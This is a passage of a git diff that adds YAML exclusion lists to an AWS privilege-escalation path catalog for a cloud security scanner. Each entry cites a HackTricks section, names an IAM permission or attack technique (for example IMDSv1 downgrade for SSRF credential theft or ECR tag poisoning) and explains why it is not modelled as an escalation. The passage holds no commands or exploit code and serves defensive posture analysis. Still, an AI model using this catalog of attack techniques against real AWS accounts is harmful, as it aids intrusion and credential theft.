src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#existing-hook-as-a-confused-business-authority-boundary + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lex-v2-privesc/README.md#existing-hook-as-a-confused-business-authority-boundary + technique: lex:RecognizeText / PutSession / StartConversation on a bot alias + reason: "App-plane only: reaches the business logic of an existing fulfillment Lambda, which keeps its own execution role; the page states it does not grant generic control of that role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-blockchain-post-exploitation/README.md#invite-an-attacker-account-into-a-hyperledger-fabric-network + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-blockchain-privesc/README.md#invite-an-attacker-account-into-a-hyperledger-fabric-network + technique: managedblockchain:CreateProposal + VoteOnProposal + reason: "App-plane only: yields an attacker-owned Fabric consortium member, not an AWS principal in either account (the page states it is not elevation to AWS administrator)." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-grafana-post-exploitation/README.md#grafanaupdateworkspace--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdateworkspace--iampassrole + historical_source_revision: 171e422299 + technique: grafana:UpdateWorkspace + iam:PassRole + reason: "Not a privesc: bounded service delegation; the workspace role only mediates Grafana data-source and notification queries, and the page states it does not return IAM credentials." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-wickr-privesc/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + technique: wickr:CreateDataRetentionBotChallenge + reason: "App-plane only: the challenge authenticates a data-retention bot that receives message copies; messaging data access, not an AWS principal or an application administrator." + source_revision: f2aa915198 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml new file mode 100644 index 0000000000..ef5e0cb3a8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml @@ -0,0 +1,335 @@ +# AWS part A: HackTricks privesc sections intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason}. Revision a53b46392c. + +# --- IAM --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateaccesskey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateaccesskey + source_revision: 3ad99dc7ac + technique: iam:UpdateAccessKey + reason: Only re-activates an existing key; using it requires already knowing the target's secret access key, so the permission alone does not yield a new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamresyncmfadevice + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamresyncmfadevice + source_revision: 3ad99dc7ac + technique: iam:ResyncMFADevice + reason: Requires possession of the target's MFA device and password; no new identity from the permission alone. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateopenidconnectproviderthumbprint-iamlistopenidconnectproviders-iamgetopenidconnectprovider + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateopenidconnectproviderthumbprint-iamlistopenidconnectproviders-iamgetopenidconnectprovider + source_revision: 3ad99dc7ac + technique: iam:UpdateOpenIDConnectProviderThumbprint + reason: AWS validates tokens of most major IdPs against its own trusted CA library and ignores thumbprints; exploitation also requires man-in-the-middle of the IdP JWKS endpoint. Not reliably derivable from a snapshot. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iampassrole--a-compute-service + technique: iam:PassRole + a compute service (generic) + reason: Generic overview; each service-specific PassRole technique is modelled per service with the correct trusted service principal. + +# --- STS / federation --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithsaml + technique: sts:AssumeRoleWithSAML + reason: Requires a valid SAML assertion from the trusted IdP (possession of IdP credentials); no IAM permission grants it. Provider takeover is modelled as aws-iam-updatesamlprovider. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithwebidentity + technique: sts:AssumeRoleWithWebIdentity + reason: Requires a token from the trusted OIDC IdP (external identity possession); trust-policy misconfigurations on OIDC providers are an Exposure finding, not a principal-to-principal edge. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsgetfederationtoken + technique: sts:GetFederationToken + reason: Federation tokens are the intersection of the caller's own permissions and the session policy; never more privileged than the source. Persistence only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#federation-abuse + technique: Federation abuse (generic) + reason: Overview pointing to federation pages; requires external IdP control. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#iam-roles-anywhere-privesc + technique: IAM Roles Anywhere misconfigured trust policy + reason: Requires possession of a certificate issued by a trusted CA (external credential); the overly broad trust is an Exposure finding. CA replacement is modelled as aws-rolesanywhere-updatetrustanchor. + +# --- SSO --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssogetrolecredentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssogetrolecredentials + technique: sso:GetRoleCredentials + reason: Requires an Identity Center access token of a user already assigned the permission set; no new identity beyond what the user already has. + +# --- Cognito --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#gathering-credentials-from-identity-pool + technique: Unauthenticated identity-pool credentials + reason: Anonymous access to identity-pool roles is an Exposure finding (public), not a permission-based edge from a source principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminenableuser + technique: cognito-idp:AdminEnableUser + reason: Requires already knowing the disabled user's credentials. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmininitiateauth-cognito-idpadminrespondtoauthchallenge + technique: cognito-idp:AdminInitiateAuth + AdminRespondToAuthChallenge + reason: Requires the user's password/secret (or a custom-auth flow weakness specific to the app); not derivable from permissions alone. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadduserpoolclientsecret--inject-an-m2m-application-credential + technique: cognito-idp:AddUserPoolClientSecret + reason: Client-credentials (M2M) tokens grant OAuth scopes to resource servers, not identity-pool AWS roles (identity pools accept user tokens). Application-level impact only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateuserpoolclient--cognito-idpupdateuserpoolclient + technique: cognito-idp:CreateUserPoolClient / UpdateUserPoolClient + reason: Relaxes client settings (flows, scopes); still needs user credentials to obtain tokens. Application-level. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-sync-analysis + technique: Cognito Sync analysis + reason: Data access / tooling notes, no identity gain. + +# --- Directory Service --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#aws-management-console + technique: Directory console access (descriptive) + reason: Descriptive section; the escalation is modelled as aws-ds-resetuserpassword. + +# --- Amplify --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifygetbranch-amplifylistapps-amplifylistbranches-amplifygetjob--read-deployment-variables-and-build-logs + technique: Read deployment variables and build logs + reason: Pure data read (secrets exposure); Least Privilege / Exposure. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + technique: amplify:GetArtifactUrl + reason: Pure data read. + +# --- API Gateway --- + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypost + technique: apigateway:POST (API keys) + reason: Creates API keys for API access; application-level, no IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayget + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayget + technique: apigateway:GET + reason: Pure data read (API keys). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayupdaterestapipolicy--apigatewaypatch + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayupdaterestapipolicy--apigatewaypatch + technique: apigateway:UpdateRestApiPolicy / PATCH + reason: Opens API invocation (resource policy); application access, not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypatch-apigatewaypost + technique: apigateway:PATCH + POST (authorizer/integration changes) + reason: Bypasses API authorization of backend apps; application-level, no IAM identity gained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#http-apis--apigatewayv2-variant + technique: HTTP APIs (apigatewayv2) variant + reason: Same application-level authorizer/route manipulation as REST variant. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypatch-on-a-rest-vpc-link-does-not-permit-nlb-redirection + technique: apigateway:PATCH on a REST VPC link + reason: HackTricks itself documents this as not exploitable. + +# --- App Runner --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerdescribeservice--read-plaintext-runtime-variables + technique: apprunner:DescribeService + reason: Pure data read (plaintext env vars). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#mutable-private-ecr-tag-with-automatic-deployments + technique: Mutable ECR tag with App Runner automatic deployments + reason: Covered by aws-ecr-push-consumed-tag (refresh boundary recorded there). + +# --- Batch --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#mutable-ecr-tag-poisoning-of-an-existing-job-definition + technique: Mutable ECR tag poisoning of a job definition + reason: Covered by aws-ecr-push-consumed-tag. + +# --- Chime --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#legacy-amazon-chime-createapikey-retired + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#legacy-chimecreateapikey + historical_source_revision: 171e422299 + source_revision: 3ad99dc7ac + technique: chime:CreateApiKey + reason: Creates a SCIM key for an Amazon Chime account (application-level, no IAM identity); HackTricks marks it TODO and AWS ended Amazon Chime support on 2026-02-20. + +# --- CloudFormation --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-trigger-post-exploitation/README.md#cloudformationexecutechangeset-on-a-pre-staged-change-set + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationexecutechangeset-on-a-pre-staged-change-set + source_revision: 3ad99dc7ac + technique: cloudformation:ExecuteChangeSet on a pre-staged change set + reason: The source executes content it did not author; it only triggers an already-reviewed change. No attacker-controlled code under the role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-trigger-post-exploitation/README.md#cloudformationsignalresource--release-a-stack-waiting-on-a-success-signal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationsignalresource--release-a-stack-waiting-on-a-success-signal + source_revision: 3ad99dc7ac + technique: cloudformation:SignalResource + reason: Releases a gate for a fixed workload; no attacker-controlled execution under the role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#aws-cdk + technique: AWS CDK bootstrap roles + reason: CDK bootstrap roles are regular roles whose reachability is covered by sts:AssumeRole and CloudFormation PassRole entries. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#determining-the-role-names + technique: CDK role-name discovery + reason: Reconnaissance only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#adding-malicious-code-to-the-project-source + technique: Poisoning CDK project source + reason: Source-repository write outside AWS IAM; not evaluable from the AWS snapshot. + +# --- CloudFront --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontupdatedistribution--cloudfrontgetdistributionconfig + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#cloudfrontupdatedistribution--cloudfrontgetdistributionconfig + technique: cloudfront:UpdateDistribution (origin change) + reason: Traffic/content hijack of end users; no IAM identity gained. + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontcreatefunction-cloudfrontdescribefunction-cloudfrontpublishfunction-cloudfrontgetdistributionconfig--cloudfrontupdatedistribution + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#cloudfrontcreatefunction-cloudfrontdescribefunction-cloudfrontpublishfunction-cloudfrontgetdistributionconfig--cloudfrontupdatedistribution + technique: CloudFront Functions injection + reason: CloudFront Functions have no IAM role; impact is on end-user traffic only. + +# --- CodeBuild --- + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildretrybuild--re-execute-a-completed-build-under-its-stored-role + technique: codebuild:RetryBuild + reason: Replays the stored build configuration; the source controls nothing that runs under the role unless combined with source poisoning (modelled separately). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#ssm + technique: ssm:StartSession into CodeBuild sandboxes + reason: Cross-reference; SSM techniques are owned by ssm.yaml (part B), sandbox command execution is modelled as aws-codebuild-startcommandexecution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildbatchgetprojects-codebuildbatchgetbuilds--read-build-environment-values + technique: codebuild:BatchGetProjects / BatchGetBuilds + reason: Pure data read (plaintext env values). + +# --- CodePipeline --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinestartpipelineexecution--inject-a-v2-pipeline-variable + technique: Inject a V2 pipeline variable + reason: Value-only injection whose impact depends on pipeline action semantics; not generically evaluable. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineretrystageexecution--replay-a-failed-privileged-stage + technique: codepipeline:RetryStageExecution + reason: Replays a fixed workload; no attacker-controlled execution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineenablestagetransition--release-an-execution-waiting-at-a-disabled-transition + technique: codepipeline:EnableStageTransition + reason: Gate release for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineoverridestagecondition--bypass-an-active-stage-condition + technique: codepipeline:OverrideStageCondition + reason: Gate bypass for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinerollbackstage--replay-a-prior-successful-stage-revision + technique: codepipeline:RollbackStage + reason: Replays a prior reviewed revision; no attacker-controlled execution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineputapprovalresult--bypass-a-manual-gate + technique: codepipeline:PutApprovalResult + reason: Approval bypass only; becomes an escalation only combined with source poisoning (modelled separately). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineputjobsuccessresult--bypass-a-zero-output-custom-action-gate + technique: codepipeline:PutJobSuccessResult + reason: Gate bypass for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinepollforjobs + technique: codepipeline:PollForJobs + reason: Steals custom-action job artifacts/credentials scoped to the pipeline artifact bucket; data access, not a role identity. + +# --- CodeStar (service discontinued) --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#iampassrole-codestarcreateproject + technique: iam:PassRole + codestar:CreateProject + reason: AWS CodeStar was discontinued on 2024-07-31; the APIs are no longer available. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestarcreateproject-codestarassociateteammember + technique: codestar:CreateProject + codestar:AssociateTeamMember + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestarcreateprojectfromtemplate + technique: codestar:CreateProjectFromTemplate + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md + technique: CodeStar CreateProject + AssociateTeamMember (sub-page) + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md + technique: CodeStar PassRole + CreateProject (sub-page) + reason: AWS CodeStar discontinued (2024-07-31). + +# --- DynamoDB --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + technique: dynamodb:PutResourcePolicy + reason: Grants the source data access to tables; data access, not a new identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#post-exploitation + technique: Post exploitation cross-reference + reason: Cross-reference only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#todo-read-data-abusing-data-streams + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#todo-read-data-abusing-data-streams + technique: Read data via streams (TODO) + reason: Data read; unfinished section. + +# --- EBS --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ebslistsnapshotblocks-ebsgetsnapshotblock-ec2describesnapshots + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md#ebslistsnapshotblocks-ebsgetsnapshotblock-ec2describesnapshots + technique: EBS direct snapshot reads + reason: Data read (credentials found on disks are not derivable from the snapshot). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createsnapshot + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md#ec2createsnapshot + technique: ec2:CreateSnapshot + reason: Data access to volumes; no new identity. + +# --- EC2 --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#replace-security-groups-on-a-running-instance + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-security-groups-on-a-running-instance + source_revision: 3ad99dc7ac + technique: ec2:ModifyInstanceAttribute (security groups) + reason: Network change only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#launch-template-and-auto-scaling-constraints + technique: Launch-template and Auto Scaling constraints + reason: Clarifying section (constraints); folded into ec2.yaml entries. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#autoscalingsetdesiredcapacity--activate-a-stored-launch-template-and-instance-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#autoscalingsetdesiredcapacity--activate-a-stored-launch-template-and-instance-role + source_revision: 3ad99dc7ac + technique: autoscaling:SetDesiredCapacity + reason: Starts a fixed stored workload; the source controls nothing that runs under the role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2-instance-connectsendserialconsolesshpublickey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2-instance-connectsendserialconsolesshpublickey + source_revision: 3ad99dc7ac + technique: ec2-instance-connect:SendSerialConsoleSSHPublicKey + reason: Serial console still requires a valid OS user password; not derivable from permissions (and serial console must be enabled account-wide). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + source_revision: 3ad99dc7ac + technique: ec2:DescribeLaunchTemplateVersions + reason: Data read (secrets in user data). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft + source_revision: 3ad99dc7ac + technique: ec2:ModifyInstanceMetadataOptions (IMDSv1 downgrade) + reason: Requires a separate SSRF vulnerability in the instance's application; not derivable from the snapshot. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyimageattribute-ec2modifysnapshotattribute + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyimageattribute-ec2modifysnapshotattribute + source_revision: 3ad99dc7ac + technique: ec2:ModifyImageAttribute / ModifySnapshotAttribute + reason: Data sharing/exfiltration; no identity gain. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2getpassworddata + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2getpassworddata + source_revision: 3ad99dc7ac + technique: ec2:GetPasswordData + reason: Needs the key-pair private key; yields an OS login, whose instance-role reach depends on network access. Treated as data read. + +# --- ECR --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchgetimage-ecrgetdownloadurlforlayer + technique: ECR image pull + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#global-registry-hijack-via-root-pull-through-cache-rule + technique: ROOT pull-through cache rule + reason: Folded into aws-ecr-createpullthroughcacherule (condition root_prefix). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputaccountsetting-registry-policy-scope + technique: ecr:PutAccountSetting (registry policy scope downgrade) + reason: HackTricks documents the V2-to-V1 downgrade as no longer supported. + +# --- ECS --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#ecsupdateservice--reactivate-a-dormant-service-with-its-stored-task-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsupdateservice--reactivate-a-dormant-service-with-its-stored-task-role + source_revision: 3ad99dc7ac + technique: ecs:UpdateService (desired count only) + reason: Starts a fixed stored workload; no attacker-controlled execution under the role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#mutable-ecr-tag-consumed-by-an-ecs-service-deployment-digest-boundary + technique: Mutable ECR tag consumed by an ECS service + reason: Covered by aws-ecr-push-consumed-tag (digest boundary recorded there). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#runtime-command-overrides-with-iampassrole-and-ecsruntask + technique: Runtime command overrides with iam:PassRole + ecs:RunTask + reason: Duplicate of aws-ecs-passrole-runtask-overrides. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ssmstartsession + technique: ssm:StartSession (cross-reference) + reason: Owned by ssm.yaml (part B). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ec2runinstances + technique: iam:PassRole + ec2:RunInstances (cross-reference) + reason: Modelled as aws-ec2-runinstances-join-ecs-cluster. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#backdoor-compute-in-cluster-via-ecs-anywhere-external-registration + technique: ECS Anywhere EXTERNAL registration + reason: Requires iam:PassRole on task roles plus a task launch, already covered by aws-ecs-passrole-registertaskdefinition-starttask / aws-ecs-registercontainerinstance-starttask (plus ssm:CreateActivation). + +# --- General --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md + technique: AWS privilege escalation index + reason: Index page, no techniques. + +# --- Merged / duplicate sections (kept for traceability) --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachmanagedpolicyfrompermissionset + technique: sso:DetachManagedPolicyFromPermissionSet + reason: Merged into aws-sso-remove-permission-set-restriction (any_of group). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachcustomermanagedpolicyreferencefrompermissionset + technique: sso:DetachCustomerManagedPolicyReferenceFromPermissionSet + reason: Merged into aws-sso-remove-permission-set-restriction (any_of group). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodeleteinlinepolicyfrompermissionset + technique: sso:DeleteInlinePolicyFromPermissionSet + reason: Merged into aws-sso-remove-permission-set-restriction (any_of group). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#automatic-tools + technique: Automatic tools + reason: Tooling references only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md + technique: iam:PassRole + cloudformation:CreateStack + cloudformation:DescribeStacks (sub-page) + reason: Same edge as aws-cloudformation-passrole-createstack; DescribeStacks only reads outputs. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_apigateway_generic_integration.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_apigateway_generic_integration.yaml new file mode 100644 index 0000000000..c3705af3fe --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_apigateway_generic_integration.yaml @@ -0,0 +1,5 @@ +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayput-apigatewaypost-and-sometimes-iampassrole + source_revision: 171e422299 + technique: Pass a role to a REST API AWS-service integration and invoke it + reason: The demonstrated Lambda integration permits invocation of a named function when the integration role allows it; it does not give the caller that role's other permissions or the function's execution role. The generic catalog entry did not bind a specific AWS action and resource that would cause privilege escalation. Reintroduce only an exact supported integration action and a proved path to greater authority. + prior_id: aws-apigateway-integration-credentials-passrole diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..889afa5fd7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml @@ -0,0 +1,19 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/app-plane-subject-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#grant-admin-through-security-profile-mutation + source_revision: 171e422299 + technique: Grant Connect Admin through security-profile assignment or mutation + reason: The source can change a security profile or assignment, but no Connect user + it controls and can sign into is joined to that change. + prior_id: aws-connect-security-profile-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdatepermissions--iam-identity-center-administrator + source_revision: b587e6bd26 + technique: Grant a controlled Identity Center identity Grafana administrator access + reason: UpdatePermissions can grant ADMIN to an Identity Center identity, but the + source is not proved to control a credentialed member of that user/group. + prior_id: aws-grafana-updatepermissions-sso-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightupdateuser--self-promote-to-admin + source_revision: 171e422299 + technique: Promote a controlled QuickSight user to ADMIN + reason: UpdateUser can promote any QuickSight user, but the source is not proved + to control the promoted user or its sign-in. + prior_id: aws-quicksight-updateuser-admin diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..aeca9d2177 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml @@ -0,0 +1,80 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/artifact-join-strict-re-audit.yaml.txt. +- source: 